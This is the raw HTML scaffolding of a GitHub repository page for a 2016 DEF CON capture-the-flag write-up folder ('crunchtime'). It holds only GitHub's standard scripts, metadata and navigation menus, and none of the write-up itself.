src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeup/2016_defcon/crunchtime at master · DaramG/ctf-writeup · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B387:380B:452C325:46BFCD6:6412295B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="04d5ea4069cf7c8f6c782fc78faf8f4e57114fbb41b0b6ccf58e9b7d806c1cc0" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMzg3OjM4MEI6NDUyQzMyNTo0NkJGQ0Q2OjY0MTIyOTVCIiwidmlzaXRvcl9pZCI6IjQ5OTE2NzY1NTE0NzA5MTc5NzkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="d46409939238eba9e33ac283de732e14a83b89449f2df542ce48764a3f0524f5" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:59453325" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeup/2016_defcon/crunchtime at master · DaramG/ctf-writeup" /><meta name="twitter:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta property="og:image:alt" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeup/2016_defcon/crunchtime at master · DaramG/ctf-writeup" /><meta property="og:url" content="https://github.com/DaramG/ctf-writeup" /><meta property="og:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/DaramG/ctf-writeup git https://github.com/DaramG/ctf-writeup.git">
<meta name="octolytics-dimension-user_id" content="8486670" /><meta name="octolytics-dimension-user_login" content="DaramG" /><meta name="octolytics-dimension-repository_id" content="59453325" /><meta name="octolytics-dimension-repository_nwo" content="DaramG/ctf-writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="59453325" /><meta name="octolytics-dimension-repository_network_root_nwo" content="DaramG/ctf-writeup" />
<link rel="canonical" href="https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/crunchtime" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
